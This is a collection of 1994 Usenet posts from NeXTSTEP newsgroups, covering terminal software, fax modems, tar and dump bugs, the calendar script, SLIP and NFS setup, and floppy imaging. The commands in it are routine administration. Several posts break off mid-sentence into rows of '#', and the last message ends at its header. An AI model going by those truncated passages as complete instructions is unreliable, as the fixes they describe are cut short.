Usually, the first couple requests to a question that does not
explicitly ask for free or shareware is responded to with commercial
solutions. In fact, should someone post a free or near-free solution,
it's not unheard of for some posters to actually talk down to the free
solution poster for not supporting NS and all NS developers.
In this case, there is an excellent term program (would compare very
well against other such programs on other OSs as well as being great
in itself--unusual for NS apps) from Yrrid called Cables that will do
the job perfectly and replace any terminal app you use as well.
Response time from Yrrid is great, and the end-result is an app that
is bug-free. It's modular so you can buy only the terminal emulations
you need and the cost is quite acceptable (also unlike a lot of NS
apps). Write info@yrrid.com for pricing details.
Also, this program is easily installed and comes (like most other
commercial apps) in binary form, so there's no compilation necessary.
It has automatic Zmodem download, so you type "sz" then the programs
you want to download on the remote side and Cables gets the zmodem
magic signal to start downloading the files without further user
intervention. It's far easier to use than any set of macros using
'rz' and 'sz'.
In my opinion, it's one of a handful of NS apps that actually deserve
a great review both for being a great NS app as well as competitive
when compared to terminal apps on other operating systems.
I don't work for Yrrid, nor do I speak for them, but they've got a
great app that sounds to me like it will fulfill your needs.
--
No NeXTmail please
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: phillip@utstat.toronto.edu (Philip McDunnough)
Subject: Re: What're the HSD and Interfax driver on PrintManager?
Message-ID: <Cqv0yq.Kqx@utstat.toronto.edu>
Organization: University of Toronto, Dept. of Statistics
References: <2sltsg$64q@news.iastate.edu> <2smm81$1l7@nnrp.ucs.ubc.ca>
Date: Sat, 4 Jun 1994 06:35:14 GMT
In article <2smm81$1l7@nnrp.ucs.ubc.ca> wrob@unixg.ubc.ca (Robert Wong) writes:
[ ]
>Currently, ZyXEL modems have implemented Class 2.0 (note the ".0" part.)
>in ROM release v6.12. This feature was expected to show up in the next
>generation of ZyXELs. They shipped this feature now with the "old"
>(aka current modems).
There must be something wrong with 6.12. What used to be a reliable faxmodem
has become unreliable.
>It all works NOW on NeXTstep machines. :-)
Works? Hmm...
>Disclaimer: I sell NXFax and ZyXEL modems.
>Robert W. Wong Jr. wrob@unixg.ubc.ca (ASCII only)
>Crasher of Automated Banking Machines, Keeper of the ZyXEL modem FAQ,
>University of British Columbia NeXT Users Group Leader and
>collector of titles.
--
Philip McDunnough OR P. McDunnough (U of Toronto-stats)
philip@utstat.toronto.edu (NeXT Mail) phillip@utstat.toronto.edu
[Where sheep may safely graze...] [Where sheep bite...]
From: ccwf@plato.klab.caltech.edu (Charles Fu)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: Re: Problems doing backups
Date: 4 Jun 1994 06:39:22 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <2sp7iq$n7u@gap.cco.caltech.edu>
References: <ohuBPfG00iV4A1Lf1b@andrew.cmu.edu> <SHIVERS.94May29144304@lewis.lcs.mit.edu>
In article <SHIVERS.94May29144304@lewis.lcs.mit.edu>,
Olin Shivers <shivers@lcs.mit.edu> wrote:
>I have run into this problem, even when running the dump/restore as root.
>I called NeXT. They said, "Oh, yes. That's a bug in dump. Use tar."
> ...
>In any event, I replied to the NeXT support guy, "I can't use tar. It
>flushes files with pathnames longer than 100 chars." (Which indeed happens,
>for example, if you keep NS apps in your home directory.) Then he said
>(but only after I had brought the issue up), "Right. You should use gnu tar."
>
>Of course, gnu tar isn't POSIX compliant; it keeps its archives in some
>other pre-POSIX format.
Of course, the gnutar NeXT ships with 3.2 is not bug free, either. As
I reported here last year, it will sometimes fail to extract
ownerships and permissions of everything under a random directory.
The problem is probably some stray pointer--it would occur reliably on
certain machines and not on others. Problem was easily rectified by
getting the current tar sources from GNU (which had the same version
number) and recompiling.
-ccwf
From: ccwf@plato.klab.caltech.edu (Charles Fu)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Terminal emulation bugs?
Date: 4 Jun 1994 07:33:34 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <2spaoe$obr@gap.cco.caltech.edu>
References: <2sg28a$mpp@nntp2.stanford.edu>
In article <2sg28a$mpp@nntp2.stanford.edu>,
Patrick L. Nolan <pln@egret0.Stanford.EDU> wrote:
>When I telnet to my NextStep machine (NS 3.2, Intel), the terminal
>emulation doesn't seem to be quite right. Simple commands like
>ls cause lines to be broken and splattered all over the page. It
>looks as if end-of-line characters are not handled correctly.
>It's particularly bad in VT100 mode dealing with an xterm window
>or a communication program on a Mac. Things are not so bad in
>a sun-cmd window on a Sun.
>
>Does this look familiar to anyone? Could it be something as
>simple as a bad termcap?
Although NeXT's termcap could probably be improved, your problem could
well be another symptoms of the broken telnet bug. For example, for me,
- telnet to NeXT using PC-NFS 3.0 telnet worked mostly OK;
- telnet to NeXT using PC-NFS 4.0 telnet causes the symptoms you describe;
- telnet to NeXT using NCSA telnet causes the last line sometimes not to
be displayed;
- other have reported even worse problems with some systems.
One workaround that sometimes works is to immediately do a 'rlogin
[-8] localhost' or run a VT100/102 emulater like screen. 'stty
-extpro####################################################################
####################################################################
From: larry@owrlakh.wl.aecl.ca (Larry Gadallah)
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: Is calendar(1) broken for 3.2 on black?
Date: 4 Jun 1994 14:23:55 GMT
Organization: AECL Research, Whiteshell Labs
Distribution: world
Message-ID: <2sq2pr$oso@wu1.wl.aecl.ca>
Keywords: calendar script broken 3.2
In article <2rq8aj$7kc@wu1.wl.aecl.ca> I wrote:
> Hello all,
>
> I just noticed this weekend that calendar(1) seems to be busted under
> 3.2 on black. Anyone else experience this? Is there a fix, other than
> ripping out the NeXT version and replacing it?
>
> I seem to recall that calendar did work under 2.1.
>
> This is what the symptoms look like:
>
> owrlakh:/users/larry> calendar
> calendar:1: unterminated string or character constant
> calendar:2: unterminated string or character constant
> calendar:3: unterminated string or character constant
> [38 lines deleted]
> calendar:41: unterminated string or character constant
> calendar:42: unterminated string or character constant
> 05/23 Calendar test
> owrlakh:/users/larry> calendar -
> /usr/bin/calendar: syntax error at line 1: `^' unexpected
>
----------------------------------------------------------------
Brad Head <brad@instep.wimsey.bc.ca> wrote in response:
Yes, the /usr/bin/calendar is broken sort of. The '-' (dash) option doesn't
work anymore. As far as the errors listed re string or char constant, I think
this is more to do with the filter calendar uses. Try removing any # preceding
comments from the lines it quotes as having errors. Also lines like:
May 24 Mom's birthday!
will fail since the quote thingy there will result in an error.
Don't know why /usr/bin/calendar broke. But it's been that way since release
3.1.
BTW, someone sent me a patch that fixes the '-' dash option. It may be on the
archives somewhere.
Brad.
--
Brad Head <brad@instep.wimsey.bc.ca>
Software Developer, InStep Mobile Communications Inc.
Vancouver, British Columbia CANADA
----------------------------------------------------------------
Ken Case <kc@yucca.omnigroup.com> wrote in response:
Yep: when NeXT updated their C preprocessor a few releases back, it
started caring about some things (like unterminated character
constants) which it didn't care about previously.
The fix is simple: find the line that begins with:
( cat /etc/passwd; nidump passwd . ; /usr/lib/calendar -p ) |
Remove the "; /usr/lib/calendar -p" to make it begin with:
( cat /etc/passwd; nidump passwd . ) |
While you're in there, you might want to find all invocations of
/lib/cpp and change them to "/lib/cpp -undef -C -P": that way, you
can say things like:
05/24/93 Big appointment with NeXT today // Remember your notes!
and have it come out the way you'd expect, rather than as:
05/24/93 Big appointment with 1 today
Happy hacking!
Ken
----------------------------------------------------------------
Kenichiro Aoki <ken@phys.titech.ac.jp> wrote in response:
I am pretty sure that I saw the same behavior in ns2.x.
i believe this happens when you put an apostrophe, like
5/25 larry's birthday
^
it's annoying i know, since it's tempting to use apostrophes. i
don't se this behavior on the suns, for instance.
On the other hand, I don't think it's busted, per se. if you
avoid those 's and other stuff that tickles it, calendar will
behave itself, i think.. i use it all the time.
--
Kenichiro Aoki (ken@phys.titech.ac.jp), Department of Physics,
Tokyo Institute of Technology, Oh-okayama, Meguro-ku, Tokyo, JAPAN
$@@DLZ(J $@7r0lO:(J $@El9)Bg(J $@J*M}3X2J(J
Thanks to all for your answers and advice,
--
---------------------------------------------------------------------
Larry Gadallah Lac Du Bonnet, Manitoba, Canada
Internet: larry@owrlakh.wl.aecl.ca TPC: (204) 345-9222
``Raw UNIX lurks and it's far too nerdy to ever become a mainstream
operating system'' - John Dvorak ICBM: 50:12'05.4"N 96:04'31.8"W
---------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin
From: dbrad@ucdmath.ucdavis.edu (David Bradford)
Subject: ISDN vs V.Fast 28.8
Message-ID: <CqvrCE.7zE@ucdavis.edu>
Summary: Question - why ISDN over v.fast ? Or, why ISDN?
Keywords: ISND v.fast comparison
Sender: usenet@ucdavis.edu (News Guru)
Organization: UCD Department of Mathematics, Davis CA
Distribution: world
Date: Sat, 4 Jun 1994 16:05:02 GMT
I have noticed the latest slew of 28.8 v.fast modems on the market
(or v.something since I think v.fast will not be standardized until
mid summer - so I have been told). Anyway, to the point, I called the
local telephone company and I can have ISDN 26kbits for $20.00 a month
or I can get two lines and "bond" them for 52Kbits for 2X that.
Okay, bang for buck, why should I go for ISDN if I only want
26 < transfer rate < 28.8 and jpay $12.00 a monthe for standard service
and purchase two cheapo 28.8 modems ( $120 each about ) and run SLIP/PPP
or something like that? Note that ISDN hardware would cost ~$1000 at
each end.
Appreciate any input on this issue.
Thanks,
David
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ISDN vs V.Fast 28.8
Date: 4 Jun 1994 16:49:33 GMT
Organization: University of Illinois at Urbana
Message-ID: <2sqbat$st8@vixen.cso.uiuc.edu>
References: <CqvrCE.7zE@ucdavis.edu>
Keywords: ISND v.fast comparison
dbrad@ucdmath.ucdavis.edu (David Bradford) writes:
>I have noticed the latest slew of 28.8 v.fast modems on the market
>(or v.something since I think v.fast will not be standardized until
>mid summer - so I have been told). Anyway, to the point, I called the
>local telephone company and I can have ISDN 26kbits for $20.00 a month
>or I can get two lines and "bond" them for 52Kbits for 2X that.
>Okay, bang for buck, why should I go for ISDN if I only want
>26 < transfer rate < 28.8 and jpay $12.00 a monthe for standard service
>and purchase two cheapo 28.8 modems ( $120 each about ) and run SLIP/PPP
>or something like that? Note that ISDN hardware would cost ~$1000 at
>each end.
I have noticed several posters in comp.dcom.modems who said that the
28.8kbps rate is very iffy, depending on line quality. One person
said that he can not get more then 19.2 on his lines.
ISDN is (should be?) less susceptible to line problems, and has a
MUCH faster setup time.
I only have a ZyXEL 1496E, so I can't give personal stories.
Is that ISDN tariffed based on usage (minutes)? Many are, and many
local phone calls are one charge per call, no matter the length,
depending on your area of course.
One more thing to think about - that 28.8 is raw, I assume, so you
can apply v.42bis and get 4X that, theoretically. I don't know if
they make v.42bis compressed ISDN boxes.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!l####################################################################
####################################################################
####################################################################
From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin
Subject: my language changed to french without me doing it
Date: 4 Jun 1994 18:53:12 -0700
Organization: University of Arizona CS Department, Tucson AZ
Message-ID: <2srb68$gmb@cheltenham.cs.arizona.edu>
Use to be in english.
Help, somehow, my default system language changed to french. The login
panel, for instance, is in french.
the dread for languages give English first:
System Language English;German;French;Spanish;Italian;Swedish
The netinfo property for languages is English. yes somehow the
login panel is in french, and somehow root changed its default language
to french in front of english. no hacking could have occured, this
machine is off the net.
Is there perhaps a way to change the default language for the whole
system, maybe that might fix it.
-nick kline
Newsgroups: comp.sys.next.sysadmin
From: jbright@schoolnet (Jason Bright)
Subject: Novell
Message-ID: <CqxCM9.Msv@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Virtual Ventures
Date: Sun, 5 Jun 1994 12:42:09 GMT
Just how easy is it to integrate a NS system into a Novell net
using the supplied client software. This next system has been
standalone up to this point, and will be the only non-windows
system on this net.
- What kind of problems can I expect?
- Since this Novell net is connected to a univerisities backbone,
will I have full internet access, or only to the novell servers?
I'm just trying to guage how much pain this could cause me, and if
it is worth the effort.
Thanx in advance
Jay Bright
Virtual Ventures
Newsgroups: comp.sys.next.sysadmin
From: steve@xbrcom.qc.ca (Steve Audy)
Subject: Problem with hardware handshake on the 68040!
Message-ID: <L6EPBPAC@math.fu-berlin.de>
Keywords: slip cufa modem
Sender: news@math.fu-berlin.de (Math Department)
Organization: Free University of Berlin, Germany
Distribution: XBR Communications Inc.
Date: Sun, 5 Jun 1994 12:20:10 GMT
Hi,
I am trying to setup a NeXT Station for a SLIP connexion on the
Internet at 19.2K.
I installed the SLIP package from TransSys (19920904) and configure it
to dialout on the same modem and cable I was using with Versaterm SLIP
on the Macintosh. The modem is a 'Practical Modem 9600SA' and the cable
supports hardware handshake (on the Macintosh, anyway). This is the
setup string I send to the modem: ATE0&C1W1.
Here's my problem: When I send a file larger than 200K the connection
will drop, and the system will report that the network is down.
(Overflow problem??)
I tried using 'cufa' instead of 'cua' but the modem lights would never
flash. (I get the error message 'Unable to get modem's attention').
I read somewhere that to use cufa I need to lock the DTE speed to 19200
but I just can't figure out how to do this.
What am I doing wrong? Why is the modem not working with cufa?
PS: I tried SupraFaxModemV.32, HayesOptima9600 and Zoom14.4 but with
the same results.
Thanks in advance for any help!
Steve Audy
steve@xbrcom.qc.ca
From: mrlizard@crl.com (Roy Dudley)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT->Mac TCP Connection
Date: 5 Jun 1994 08:37:04 -0700
Organization: CRL Dialup Internet Access (415) 705-6060 [login: guest]
Message-ID: <2ssrf0$bgi@crl.crl.com>
Help! I am trying to use a Macintosh running MacTCP 2.04 as a client
to a NeXT cube running NextStep 2.1 (yeah yeah) as a Sybase server. I
can't even ping each computer from the other. They are connected via
single 10Base-2(thinnet) connection.
Any ideas? Thanks in advance.
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Network woes on NS/FIP
Date: 5 Jun 1994 16:40:07 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2ssv57$nd5@news.acns.nwu.edu>
References: <chris.10.001677D5@clubside.digex.net> <2sqr0a$f0t@cs.ubc.ca>
In article <2sqr0a$f0t@cs.ubc.ca>,
Chris Roehrig <croehrig@celegans.psych.ubc.ca> wrote:
>In article <chris.10.001677D5@clubside.digex.net> chris@clubside.digex.net
>(Chris Rowley) writes:
>> Hello again, no I won't go away, because this is very frustrating.
>> The sole reason I bought NeXTStep for Intel was so I could do
>> UNIX school work connected via SLIP to the university. No such
>> luck so-far.
>> [...]
>> When I boot, the system appears to hang after clearing the screen.
>> [...]
>> One of the problems is the TranSys PNI docs are totally devoid
>> of information in maintaining the network outside of installation.
>> They don't even mention the resolv.conf file. So here's my plea:
>> [...]
If you haven't already heard, put a line in resolv.conf like this
nameserver a.b.c.d
where a.b.c.d is the IP address of a machine which will provide this
service.
>
>I agree completely! PNI is in no shape to be released to the public.
>However, it is a beta, and they do warn you that you pretty much need to
>be an expert on IP and SLIP to install it. But then, they also say that
>1.9 is likely to be the last beta release. (!) I hope the full release
>will be able to deal with automatically setting up full network services.
>
You can't say you haven't been warned. Actually most of the hassle will
be getting dial and login scripts for all the permuntations of modems and
Slip servers out there.
> I've been having some frustrating times too. However, I have things
>pretty much working now (with the exception of Mach IPC, which I'm still
>tracking down).
>
>I've removed all of the PNI stuff from rc.local, and written scripts to
>bring PNI up and take it down. Getting name resolution working isn't too
>hard. Getting it to stop trying to check the network after the link is
>brought down takes more work. In the LINK_start module, basically I copy
>resolv.conf.SAV to resolv.conf, and kill -HUP lookupd. You may also want
>to ntp -F <your time server>, and start up ntpd.
> After you bring SLIP down (in the LINK_stop module), you have to be a
>bit more heavy handed: rm resolv.conf, kill lookupd, kill nibindd,
>restart nibindd, and then restart lookupd. I put a sleep 1 between the
>two restarts so that nibindd gets its act together and forks a netinfod
>before lookupd tries to connects to one. Anything less than this doesn't
>seem to do the trick.
>####################################################################
From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: my language changed to french without me doing it
Date: 5 Jun 1994 17:48:07 -0700
Organization: University of Arizona CS Department, Tucson AZ
Message-ID: <2stro7$d62@cheltenham.cs.arizona.edu>
References: <2srb68$gmb@cheltenham.cs.arizona.edu>
In article <2srb68$gmb@cheltenham.cs.arizona.edu>,
Nick Kline <kline@CS.Arizona.EDU> wrote:
>Use to be in english.
>
>Help, somehow, my default system language changed to french. The login
>panel, for instance, is in french.
>
after the 3rd reboot it fixed itself, without me changing anything.
-nick
From: damonc@hookup.net (Damon F. Cooper)
Newsgroups: comp.sys.next.sysadmin
Subject: TransSys SLIP Connect Problem
Date: Mon, 6 Jun 1994 01:47:56 GMT
Organization: HookUp Communication Corporation, Oakville, Ontario, CANADA
Message-ID: <damonc.7.2DF2804C@hookup.net>
I have been able to install TransSys PNI SLIP/CSLIP, but once connected, not
much happens (transcript of session below). Bascially, when I try
ftp/telnet/ping/etc, the modem lights flash a little (VERY little), and after
about 3 minutes, I get "host not found" in the terminal window.
Using Intel box with ZyXEL U-1496E (external) modem.
Any help would be GREATLY appreciated (been at this for almost a week)...
.
.
.
June 5 20:24:56 localhost pnid-pni0[265]: TTY tty: Trying to call 619-6609 (unix)
June 5 20:24:56 localhost pnid-pni0[265]: dialer: Start of ZyXEL dialing script, dialing 619-6609
June 5 20:24:58 localhost pnid-pni0[265]: Modem firmware version is '25355 U1496E V 6.01 M'
June 5 20:25:00 localhost pnid-pni0[265]: Dialing (DTMF) 619-6609....
June 5 20:25:45 localhost pnid-pni0[265]: Connected: CONNECT 38400/V32b 14400/V42b
June 5 20:25:45 localhost pnid-pni0[265]: TTY tty: Dialer succeded to 619-6609
June 5 20:25:45 localhost pnid-pni0[265]: source /etc/pni/config/login-unix.tcl
June 5 20:25:45 localhost pnid-pni0[265]: Start generic UNIX login script
June 5 20:25:52 localhost pnid-pni0[265]: Entering SLIP mode
June 5 20:25:52 localhost pnid-pni0[265]: TTY tty: link connected
June 5 20:25:52 localhost pnid-pni0[265]: TTY tty: started
June 5 20:25:52 localhost pnid-pni0[265]: LINK tty connected
June 5 20:25:52 localhost pnid-pni0[265]: PNI pni: runt packet 297276 bytes dropped
June 5 20:27:10 localhost pnid-pni0[265]: PNI pni: runt packet 297276 bytes dropped
June 5 20:27:52 localhost pnid-pni0[265]: -slip stats: 0 packets, 0 compressed, 0 searches, 0 misses
June 5 20:27:52 localhost pnid-pni0[265]: - 0 uncompressed in, 0 compressed in, 0 error in, 0 tossed
June 5 20:27:52 localhost pnid-pni0[265]: Uptime is 2 minutes, 59 seconds (since Sun June 5 00:24:53 1994 UTC)
June 5 20:27:52 localhost pnid-pni0[265]: 697 TCL commands executed, 0.350 user, 0.210 system
June 5 20:28:02 localhost pnid-pni0[265]: PNI pni: runt packet 297276 bytes dropped
June 5 20:28:26 localhost pnid-pni0[265]: PNI pni: runt packet 297276 bytes
dropped
.
.
.
Thanks!
Damon Cooper
damonc@hookup.net
From: damonc@hookup.net (Damon F. Cooper)
Newsgroups: comp.sys.next.sysadmin
Subject: TransSys PNI Key
Date: Mon, 6 Jun 1994 01:50:43 GMT
Organization: HookUp Communication Corporation, Oakville, Ontario, CANADA
Message-ID: <damonc.8.2DF280F2@hookup.net>
Anybody have that TransSys PNI SLIP authorization key extention that was
posted by TransSys a couple weeks ago? (and instructions on how to install it?)
Thanks!
Damon Cooper
damonc@hookup.net
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: sjones@netcom.com (Scott M. Jones)
Subject: Re: How to make image copy of floppy?
Message-ID: <sjonesCqyCKw.A5A@netcom.com>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
References: <westesCqwBqq.GyM@netcom.com>
Date: Mon, 6 Jun 1994 01:38:55 GMT
Will Estes (westes@netcom.com) wrote:
: I need to make an image dump and restore of a foreign floppy on my
: NeXTSTEP 3.2 FIP system. The command that I was given for a SunOS
: system was:
: dd if=/dev/diskette of=outfile
: I tried the following under NS FIP 3.2:
: dd if=/dev/fd0a of=outfile
: but this fails with:
: read: I/O error
: 0+0 records in
: 0+0 records out
This works for me with the command:
dd if=/dev/rfd0b of=outfile
When it's done dd will report 2880 "blocks" written for a 1.44MB device.
If you are _writing_ to the floppy, I suggest you unmount the disk from
Workspace first (choose 'eject' even though it probably doesn't actually
eject the disk on your system). If you access /dev/rfd0b without mounting
it in Workspace first, use the command:
disk -e /dev/rfd0b
to be able to use your floppy from Workspace again.
See the man page for fd(4) for an explanation of the 'b' partition on
a floppy.
Caveat: I tried both reading and writing myself. It's _annoyingly_ slow.
--
-----
Scott
sjones@netcom.com
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Compress help??
Date: 6 Jun 1994 02:09:59 GMT
Organization: Brown University
Distribution: world
Message-ID: <2su0hn$fgj@cat.cis.Brown.EDU>
References: <2stgnk$54i@eps.rain.com>
Steven Kornreich writes
>I've got a major problem.. I went to compress my applications using
>compress under Workspace and then I ftp'd the compressed files to another
>machine but the transfer mode was set for ascii, not binary.
You're basically toast. You now have seven-eighths of the information
you started with, and if there were any way to recover the rest, then
users would be justly annoyed at a compression algorithm that left its
files 14.3% longer than it needed to. It is CONCEIVABLE that someone
who knew something about your files that the compression algorithm
didn't (such as that they were once English text, or perl scripts, or
whatever) could use that redundancy to reconstruct some of your lost
bits, but it sounds like a problem for NSA.
Somewhere in the documentation for gzip, RMS claims that someone once
determined that FOUR PERCENT of all Internet traffic consists of 8-bit
files being transmitted in 7-bit mode. I hope this isn't true, but
before I got an FTP client that set 'binary' by default, I'm sure I
contributed my 4%. Mother-may-I was never my favorite game.
My neighbor has a |===========================================================
circular driveway. | Joshua W. Burton (401)435-6370 burton@het.brown.edu
He can't get out. |===========================================================
####################################################################
From: buchanan@math.ncsu.edu (Bob Buchanan)
Newsgroups: comp.sys.next.sysadmin
Subject: Need help creating mail alias for uucp
Date: 6 Jun 1994 04:51:50 GMT
Organization: NCSU Mathematics Dept.
Distribution: usa
Message-ID: <2sua16$7pp@taco.cc.ncsu.edu>
Originator: buchanan@grad00.math.ncsu.edu
Recently I configured my system for UUCP. I followed the instructions
in Chap. 12 of the (Digital Librarian on-line version) NeXT System
Administration manual. I thought it would be nice to monitor the UUCP
activity so I followed the instructions relating to the shell script
/etc/uucp/uucp.sh.day as described in the section of Chap. 12 called,
"Activity Reports". Step #1 requires setting up a mail alias in
NetInfo called "uucpstats". I followed the instructions in Chap. 6 of
the NeXT System Administration manual, section "Creating Mail
Aliases". Everything went as expected until I tried to issue the
command /usr/bin/mailDBupdate and here is what happens:
% /usr/bin/mailDBupdate
Can't open aliases file.
Error writing aliases file.
%
At this point I'm stuck. Does anyone know what might be wrong? Does
anyone have a work-around? Any suggestions will be appreciated. For
the record, I'm running NS3.2 (black) on a standalone system.
--
Bob Buchanan
919-515-2382 (work) 919-776-7371 (home)
buchanan@math.ncsu.edu
Math Dept, NCSU Box 8205, Raleigh, NC 27695-8205
Newsgroups: comp.sys.next.sysadmin
From: dfloyd@lonestar.utsa.edu (Douglas R. Floyd)
Subject: Some NeXT questions
Message-ID: <1994Jun6.103339.2115@ringer.cs.utsa.edu>
Sender: news@ringer.cs.utsa.edu
Organization: University of Texas at San Antonio
Date: Mon, 6 Jun 1994 10:33:39 GMT
-----BEGIN PGP SIGNED MESSAGE-----
I did not see this in any FAQ's so here goes:
1: How does NeXTStep compare with Linux? Linux is nice, but it does not
have the ease of use of NS. Linux IS better as a standard UNIX as
NS is kinda strange sometimes. Password file? WHERE IS IT! Oh,
Netinfo... Duh ;).
2: What is the best system to run NS on? I am planning to purchase a PC
depending how well it can run NS. There are lists of machines, but
I would like to find a machine where NS runs decently with few
incompatibilities as possible.
3: Does NS support TERM, SLIP, C-SLIP, or PPP?
4: Is there a program that is like the NeXTmailer but supports PGP?
I apologize if these are in any FAQ... Please don't flame too hard ;-).
Please E-mail me responses, etc. as the NNTP server will be down for
"brain surgery"... i. e. upgrade from SUNOS 1.x to Solaris 2.3...
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LVt5vBOfR1v25E/NaNO/LWcEONBfRs+PhAYlaPMam2zgFLldIe7SjSESkhR+Teve
jpp7sadDO9a+LzsrtP41+UyPg8XkeMnFsIfhJAg9h5BSqVAlXTnq1lCJpHjEit1E
dmjYgyLrjWo=
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--
dfloyd@lonestar.utsa.edu (Douglas R. Floyd)
finger me for my PGP key.
From: fletcher@nova.umd.edu (Charles Fletcher)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS, timeouts and exports/imports
Date: 6 Jun 1994 08:40:30 -0400
Organization: University of Maryland University College
Message-ID: <2sv5fu$eq9@nova.umd.edu>
I would appreciate some help with the following problem:
We have a NeXTstation networked to a SUN SparcStation with some directories
NFS mounted. The SUN is frequently pulled off the network to do demos.
When this happens I experience login problems with the NeXT. Previously,
I had problems with the WM when I logged in to the NeXT itself. I changed
the NFS setting which fixed that problem, only to cause a non-intruptable
delay when I (try to) login from a terminal (dail-in, etc.)
What is the proper way to mount directories (on both the NeXT and SUN)
with NFS to avoid these problems. (BTW: I am running NS 3.0, soon to go
to 3.2; and SUN OS 4.1)
Thanks in advance for the help,
Charlie
--
NeXTMail to: | ...to confer, converse, and
charlie@technosci.com | otherwise hobnob with my
| brother wizards.
From: dhowland@gpu.srv.ualberta.ca (Deborah Howland)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NFS, timeouts and exports/imports
Date: 6 Jun 1994 13:31:42 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2sv8fu$9vr@quartz.ucs.ualberta.ca>
References: <2sv5fu$eq9@nova.umd.edu>
fletcher@nova.umd.edu (Charles Fletcher) writes:
>I would appreciate some help with the following problem:
>We have a NeXTstation networked to a SUN SparcStation with some directories
>NFS mounted. The SUN is frequently pulled off the network to do demos.
>When this happens I experience login problems with the NeXT. Previously,
>I had problems with the WM when I logged in to the NeXT itself. I changed
>the NFS setting which fixed that problem, only to cause a non-intruptable
>delay when I (try to) login from a terminal (dail-in, etc.)
>What is the proper way to mount directories (on both the NeXT and SUN)
>with NFS to avoid these problems. (BTW: I am running NS 3.0, soon to go
>to 3.2; and SUN OS 4.1)
I think what you need is not a proper way to mount the directories,
but a proper way to unmount them. If you've got an NFS server with
active exports to other hosts, you can't just take the NFS server
down without nasty consequences, unless you first unmount all the
exported filesystems from the clients.
NEXTSTEP is particularly problematical because the Workspace Manager
likes to frequently visit directories to do things like update
browsers, shelf icons, and free space displays. If an NFS mounted
filesystem's server suddenly disappears, WM won't like it at all.
Your only solution is either to unmount the filesystems before you
clobber the NFS server, or to use an NFS server that doesn't get
taken off the air all the time.
Royce Howland
dhowland@gpu.srv.ualberta.ca (wife's account)
From: meyergru@Informatik.TU-Muenchen.DE (Uwe Meyer-Gruhl)
Newsgroups: comp.sys.hp.hpux,comp.sys.hp,comp.sys.next.sysadmin
Subject: Re: Booting up NextStep from CDROM on a HP712
Date: 6 Jun 1994 14:26:21 GMT
Organization: Technische Universitaet Muenchen, Germany
Distribution: world
Message-ID: <2svbmd$d97@hpsystem1.informatik.tu-muenchen.de>
References: <1994May31.102814@esiee.fr>
Originator: meyergru@hpradigf.informatik.tu-muenchen.de
In article <1994May31.102814@esiee.fr>, bonnetf@esiee.fr (Frank Bonnet) writes:
|>
|> Is there some specials clues to boot up an HP712 under NextStep
|> from the install CDROM ?
|>
Yes, use an original HP CD-ROM or a Toshiba XM 3401.
cheers, Uwe
Uwe Meyer-Gruhl "And if I die today I'll be the happy phantom
Lehrstuhl Informatik IX and I'll go chasing nuns out in the yard" (TA)
Technische Universitaet Muenchen email:MeyerGru@Informatik.TU-Muenchen.DE
Orleansstr. 34, D-81667 Muenchen tel: ++49 89 48095-209
From: weissd@access1.digex.net (Damien)
Newsgroups: comp.sys.next.sysadmin
Subject: Command Line RTF Printing?
Date: 6 Jun 1994 11:03:14 -0400
Organization: Express Access Online Communications, Greenbelt, MD USA
Message-ID: <weissd.770914951@access1>
Does anyone know of a way to print RTF files from the command
line?
THanks,
Damien Weiss
Newsgroups: comp.sys.next.sysadmin
From: mark@xexos.com (Mark Chamberlain)
Subject: Re: mail aliases
Message-ID: <Cqz8C0.9vH@xexos.com>
Sender: usenet@xexos.com
Organization: Xexos Ltd (London)
References: <2so3ul$5ch@gap.cco.caltech.edu>
Date: Mon, 6 Jun 1994 13:04:46 GMT
In article <2so3ul$5ch@gap.cco.caltech.edu> madler@cco.caltech.edu (Mark Adler)
writes:
>
> In chapter 6 (06_Mail.rtfd) it describes how to set up mail aliases
> using NetInfoManager. It works fine, but has this caveat:
>
> Important: An alias name should contain no spaces or punctuation
> other than an underscore (*_:) or a hyphen (*-:), as in Admin_Alias
> or quality-team.
>
> Does anyone know why this is? More importantly, is there a way around
> this, perhaps not using the NetInfo database? I would like to set up
> an alias like Mark.Adler (well, exactly like that). NetInfoManager let
> me put one in like that, but (as implied by the documentation) it
> doesn't work.
>
Set up the alias in NIManager as mark.adler, and all will work fine. There are
some silly case sensitivities in the mail system somewhere.
--
Mark Chamberlain +44 71 237 4535
Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
From: parmit@trimac.demon.co.uk (Paul Armitage)
Newsgroups: comp.sys.next.sysadmin
Subject: SEAGATE ST12400N formatting
Date: 6 Jun 1994 12:40:03 -0500
Organization: UTexas Mail-to-News Gateway
Sender: nobody@cs.utexas.edu
Message-ID: <9406061507.AA09873@trimac.demon.co.uk>
I remember there was a thread on formatting the above drive a while
back but I missed the actual solution. Can anyone help please?
Regards
Paul Armitage
Trimac Technology Limited
From: ac1mdc@sunc.sheffield.ac.uk (M Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Some NeXT questions
Date: 6 Jun 1994 16:40:44 GMT
